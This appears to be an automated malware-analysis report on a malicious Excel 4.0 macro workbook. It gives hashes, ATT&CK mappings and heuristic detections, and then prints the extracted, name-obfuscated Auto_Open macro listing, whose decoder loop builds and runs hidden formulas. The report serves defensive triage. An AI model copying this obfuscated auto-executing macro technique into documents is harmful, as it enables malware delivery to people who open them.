Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef615737bf46ab4d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:41 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: dc5aab8fbfb1db181eff52177e39570c SHA-1: ad835086b0b5ef9e06e943e63818423584e0464e SHA-256: ef615737bf46ab4d68a2101316df2ad6ff25af9effd061945f1e12a308399626
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known technique for executing malicious code. The presence of dangerous formula APIs within the macro sheet indicates a high likelihood of malicious intent. The macro is likely designed to download and execute a second-stage payload, though the specific payload and its destination are not discernible from the provided evidence.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6694 bytes
SHA-256: 50bc698831246f5a504091ad80f876f2dc0318ceed4333bb957a333e11112bf7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'pKZFQsymFQzQ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YLbMygvAdMe
' 0018     26 LABEL : Cell Value, String Constant - AsLFBdBojke len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A138 
' 0018     24 LABEL : Cell Value, String Constant - EfiMWoiAm len=0 
' 0018     22 LABEL : Cell Value, String Constant - EJDqPtx len=0 
' 0018     24 LABEL : Cell Value, String Constant - EjmmxwgWx len=0 
' 0018     25 LABEL : Cell Value, String Constant - GGshWuvpjc len=0 
' 0018     24 LABEL : Cell Value, String Constant - HRYRjtPHD len=0 
' 0018     21 LABEL : Cell Value, String Constant - IMHwEz len=0 
' 0018     25 LABEL : Cell Value, String Constant - IWXdrimcqJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - LUHSVRKaC len=0 
' 0018     22 LABEL : Cell Value, String Constant - oJHBGrA len=0 
' 0018     20 LABEL : Cell Value, String Constant - oWXXB len=0 
' 0018     27 LABEL : Cell Value, String Constant - pKZFQsymFQzQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - QrqgmUQgACj len=0 
' 0018     24 LABEL : Cell Value, String Constant - sjGbAfgXm len=0 
' 0018     24 LABEL : Cell Value, String Constant - SLHKtwWrX len=0 
' 0018     27 LABEL : Cell Value, String Constant - THknQGhYrnpV len=0 
' 0018     26 LABEL : Cell Value, String Constant - XfMQVGDmlrt len=0 
' 0018     27 LABEL : Cell Value, String Constant - YiJjWGSrnhgG len=0 
' 0018     23 LABEL : Cell Value, String Constant - YSzslHlq len=0 
' 0018     26 LABEL : Cell Value, String Constant - YwzdCUtlbFb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YLbMygvAdMe,A44,"SET.NAME("GGshWuvpjc",VALUE("0"))",""
'  YLbMygvAdMe,A46,"SET.NAME("QrqgmUQgACj",GGshWuvpjc)",""
'  YLbMygvAdMe,A51,"SET.NAME("THknQGhYrnpV",GGshWuvpjc)",""
'  YLbMygvAdMe,A55,"SET.NAME("pKZFQsymFQzQ",COUNTA(AsLFBdBojke))",""
'  YLbMygvAdMe,A57,"SET.NAME("SLHKtwWrX",COUNTA(EfiMWoiAm))",""
'  YLbMygvAdMe,A60,[],""
'  YLbMygvAdMe,A64,"SET.NAME("YSzslHlq","")",""
'  YLbMygvAdMe,A67,"QrqgmUQgACj",""
'  YLbMygvAdMe,A71,"SET.NAME("YwzdCUtlbFb",HLOOKUP("*",AsLFBdBojke,QrqgmUQgACj,FALSE))",""
'  YLbMygvAdMe,A74,"oWXXB",""
'  YLbMygvAdMe,A79,"SET.NAME("YiJjWGSrnhgG",GGshWuvpjc)",""
'  YLbMygvAdMe,A83,[],""
'  YLbMygvAdMe,A86,"YiJjWGSrnhgG",""
'  YLbMygvAdMe,A89,"IWXdrimcqJ",""
'  YLbMygvAdMe,A93,"LUHSVRKaC",""
'  YLbMygvAdMe,A96,"EjmmxwgWx",""
'  YLbMygvAdMe,A101,"SET.NAME("HRYRjtPHD",VALUE(HLOOKUP("*",EfiMWoiAm,EjmmxwgWx,FALSE)))",""
'  YLbMygvAdMe,A106,"oJHBGrA",""
'  YLbMygvAdMe,A108,"YSzslHlq",""
'  YLbMygvAdMe,A113,"THknQGhYrnpV",""
'  YLbMygvAdMe,A116,NEXT(),""
'  YLbMygvAdMe,A121,"XfMQVGDmlrt",""
'  YLbMygvAdMe,A126,"SET.NAME("f",INT(T(FORMULA(T(YSzslHlq)&"",""&T(XfMQVGDmlrt)))))",""
'  YLbMygvAdMe,A130,"IMHwEz",""
'  YLbMygvAdMe,A132,NEXT(),""
'  YLbMygvAdMe,A135,RETURN(),""
'  YLbMygvAdMe,A161,"SET.NAME("sjGbAfgXm",A44)",""
'  YLbMygvAdMe,A164,"AsLFBdBojke",""
'  YLbMygvAdMe,A167,"SET.NAME("EfiMWoiAm",R89C15)",""
'  YLbMygvAdMe,A169,"SET.NAME("IMHwEz",177)",""
'  YLbMygvAdMe,A173,"SET.NAME("EJDqPtx",1)",""
'  YLbMygvAdMe,A176,sjGbAfgXm(),""
'  YLbMygvAdMe,A177,HALT(),""

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